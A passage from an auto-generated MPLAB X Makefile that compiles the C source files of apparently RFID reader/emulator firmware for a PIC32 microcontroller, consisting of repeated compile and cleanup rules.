@${FIXDEPS} "${OBJECTDIR}/src/util.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/util.o.d" -o ${OBJECTDIR}/src/util.o src/util.c
${OBJECTDIR}/src/emulate.o: src/emulate.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/emulate.o.d
@${RM} ${OBJECTDIR}/src/emulate.o
@${FIXDEPS} "${OBJECTDIR}/src/emulate.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/emulate.o.d" -o ${OBJECTDIR}/src/emulate.o src/emulate.c
${OBJECTDIR}/src/ask.o: src/ask.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/ask.o.d
@${RM} ${OBJECTDIR}/src/ask.o
@${FIXDEPS} "${OBJECTDIR}/src/ask.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/ask.o.d" -o ${OBJECTDIR}/src/ask.o src/ask.c
${OBJECTDIR}/src/fsk.o: src/fsk.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/fsk.o.d
@${RM} ${OBJECTDIR}/src/fsk.o
@${FIXDEPS} "${OBJECTDIR}/src/fsk.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/fsk.o.d" -o ${OBJECTDIR}/src/fsk.o src/fsk.c
${OBJECTDIR}/src/clock.o: src/clock.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/clock.o.d
@${RM} ${OBJECTDIR}/src/clock.o
@${FIXDEPS} "${OBJECTDIR}/src/clock.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/clock.o.d" -o ${OBJECTDIR}/src/clock.o src/clock.c
${OBJECTDIR}/src/rwd.o: src/rwd.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/rwd.o.d
@${RM} ${OBJECTDIR}/src/rwd.o
@${FIXDEPS} "${OBJECTDIR}/src/rwd.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/rwd.o.d" -o ${OBJECTDIR}/src/rwd.o src/rwd.c
${OBJECTDIR}/src/detect.o: src/detect.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/detect.o.d
@${RM} ${OBJECTDIR}/src/detect.o
@${FIXDEPS} "${OBJECTDIR}/src/detect.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/detect.o.d" -o ${OBJECTDIR}/src/detect.o src/detect.c
${OBJECTDIR}/src/hitagcrypto.o: src/hitagcrypto.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitagcrypto.o.d
@${RM} ${OBJECTDIR}/src/hitagcrypto.o
@${FIXDEPS} "${OBJECTDIR}/src/hitagcrypto.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitagcrypto.o.d" -o ${OBJECTDIR}/src/hitagcrypto.o src/hitagcrypto.c
${OBJECTDIR}/src/wiegand.o: src/wiegand.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/wiegand.o.d
@${RM} ${OBJECTDIR}/src/wiegand.o
@${FIXDEPS} "${OBJECTDIR}/src/wiegand.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/wiegand.o.d" -o ${OBJECTDIR}/src/wiegand.o src/wiegand.c
${OBJECTDIR}/src/comms.o: src/comms.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/comms.o.d
@${RM} ${OBJECTDIR}/src/comms.o
@${FIXDEPS} "${OBJECTDIR}/src/comms.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/comms.o.d" -o ${OBJECTDIR}/src/comms.o src/comms.c
${OBJECTDIR}/src/nvm.o: src/nvm.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/nvm.o.d
@${RM} ${OBJECTDIR}/src/nvm.o
@${FIXDEPS} "${OBJECTDIR}/src/nvm.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/nvm.o.d" -o ${OBJECTDIR}/src/nvm.o src/nvm.c
${OBJECTDIR}/src/mcp414x.o: src/mcp414x.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/mcp414x.o.d
@${RM} ${OBJECTDIR}/src/mcp414x.o
@${FIXDEPS} "${OBJECTDIR}/src/mcp414x.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/mcp414x.o.d" -o ${OBJECTDIR}/src/mcp414x.o src/mcp414x.c
${OBJECTDIR}/src/spi.o: src/spi.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/spi.o.d
@${RM} ${OBJECTDIR}/src/spi.o
@${FIXDEPS} "${OBJECTDIR}/src/spi.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/spi.o.d" -o ${OBJECTDIR}/src/spi.o src/spi.c
${OBJECTDIR}/src/uart3.o: src/uart3.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/uart3.o.d
@${RM} ${OBJECTDIR}/src/uart3.o
@${FIXDEPS} "${OBJECTDIR}/src/uart3.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/uart3.o.d" -o ${OBJECTDIR}/src/uart3.o src/uart3.c
${OBJECTDIR}/src/tags.o: src/tags.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/tags.o.d
@${RM} ${OBJECTDIR}/src/tags.o
@${FIXDEPS} "${OBJECTDIR}/src/tags.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/tags.o.d" -o ${OBJECTDIR}/src/tags.o src/tags.c
${OBJECTDIR}/src/unique.o: src/unique.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/unique.o.d
@${RM} ${OBJECTDIR}/src/unique.o
@${FIXDEPS} "${OBJECTDIR}/src/unique.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/unique.o.d" -o ${OBJECTDIR}/src/unique.o src/unique.c
${OBJECTDIR}/src/led.o: src/led.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/led.o.d
@${RM} ${OBJECTDIR}/src/led.o
@${FIXDEPS} "${OBJECTDIR}/src/led.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/led.o.d" -o ${OBJECTDIR}/src/led.o src/led.c
${OBJECTDIR}/src/em.o: src/em.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/em.o.d
@${RM} ${OBJECTDIR}/src/em.o
@${FIXDEPS} "${OBJECTDIR}/src/em.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/em.o.d" -o ${OBJECTDIR}/src/em.o src/em.c
${OBJECTDIR}/src/hid.o: src/hid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hid.o.d
@${RM} ${OBJECTDIR}/src/hid.o
@${FIXDEPS} "${OBJECTDIR}/src/hid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hid.o.d" -o ${OBJECTDIR}/src/hid.o src/hid.c
${OBJECTDIR}/src/read.o: src/read.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/read.o.d
@${RM} ${OBJECTDIR}/src/read.o
@${FIXDEPS} "${OBJECTDIR}/src/read.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/read.o.d" -o ${OBJECTDIR}/src/read.o src/read.c
${OBJECTDIR}/src/isr.o: src/isr.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/isr.o.d
@${RM} ${OBJECTDIR}/src/isr.o
@${FIXDEPS} "${OBJECTDIR}/src/isr.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/isr.o.d" -o ${OBJECTDIR}/src/isr.o src/isr.c
${OBJECTDIR}/src/auto.o: src/auto.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/auto.o.d
@${RM} ${OBJECTDIR}/src/auto.o
@${FIXDEPS} "${OBJECTDIR}/src/auto.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/auto.o.d" -o ${OBJECTDIR}/src/auto.o src/auto.c
${OBJECTDIR}/src/fdxb.o: src/fdxb.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/fdxb.o.d
@${RM} ${OBJECTDIR}/src/fdxb.o
@${FIXDEPS} "${OBJECTDIR}/src/fdxb.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/fdxb.o.d" -o ${OBJECTDIR}/src/fdxb.o src/fdxb.c
${OBJECTDIR}/src/hitag.o: src/hitag.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitag.o.d
@${RM} ${OBJECTDIR}/src/hitag.o
@${FIXDEPS} "${OBJECTDIR}/src/hitag.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitag.o.d" -o ${OBJECTDIR}/src/hitag.o src/hitag.c
${OBJECTDIR}/src/uid.o: src/uid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/uid.o.d
@${RM} ${OBJECTDIR}/src/uid.o
@${FIXDEPS} "${OBJECTDIR}/src/uid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/uid.o.d" -o ${OBJECTDIR}/src/uid.o src/uid.c
${OBJECTDIR}/src/login.o: src/login.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/login.o.d
@${RM} ${OBJECTDIR}/src/login.o
@${FIXDEPS} "${OBJECTDIR}/src/login.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/login.o.d" -o ${OBJECTDIR}/src/login.o src/login.c
${OBJECTDIR}/src/write.o: src/write.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/write.o.d
@${RM} ${OBJECTDIR}/src/write.o
@${FIXDEPS} "${OBJECTDIR}/src/write.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/write.o.d" -o ${OBJECTDIR}/src/write.o src/write.c
${OBJECTDIR}/src/auth.o: src/auth.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/auth.o.d
@${RM} ${OBJECTDIR}/src/auth.o
@${FIXDEPS} "${OBJECTDIR}/src/auth.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/auth.o.d" -o ${OBJECTDIR}/src/auth.o src/auth.c
${OBJECTDIR}/src/q5.o: src/q5.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/q5.o.d
@${RM} ${OBJECTDIR}/src/q5.o
@${FIXDEPS} "${OBJECTDIR}/src/q5.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/q5.o.d" -o ${OBJECTDIR}/src/q5.o src/q5.c
${OBJECTDIR}/src/vtag.o: src/vtag.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/vtag.o.d
@${RM} ${OBJECTDIR}/src/vtag.o
